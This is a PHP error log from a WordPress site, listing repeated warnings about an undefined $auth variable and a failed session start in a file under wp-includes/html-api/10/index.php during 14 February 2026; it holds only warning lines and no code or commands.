[14-Feb-2026 08:19:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:01 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:01 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:04 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:04 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:04 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:04 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:07 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:07 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:07 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:07 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:07 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:07 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:19 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:19 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:19 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:19 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:19 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:19 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:20 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:20 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:21 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:21 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:21 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:21 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:27 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:20:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:20:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:20:28 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:28 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:28 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:20:28 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:20:28 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:20:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:37 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:37 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:38 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:38 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:38 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:38 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:49 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:49 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:49 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:49 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:50 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:50 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:50 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:50 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:51 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:51 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:55 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:55 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:56 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:56 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:56 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:56 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:21:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:21:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:21:04 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:04 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:21:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:21:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:17 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:17 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:17 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:17 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:18 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:18 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:22:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:22:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:52 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:23:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:23:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:23:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:24:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:24:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:24:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:24:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:24:01 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:24:01 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:24:01 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:24:01 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:24:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:24:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:24:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:24:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:34:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:34:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:34:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:34:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 21:49:04 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 21:49:04 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 21:49:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 21:49:04 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 21:49:04 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 23:42:50 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:42:50 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
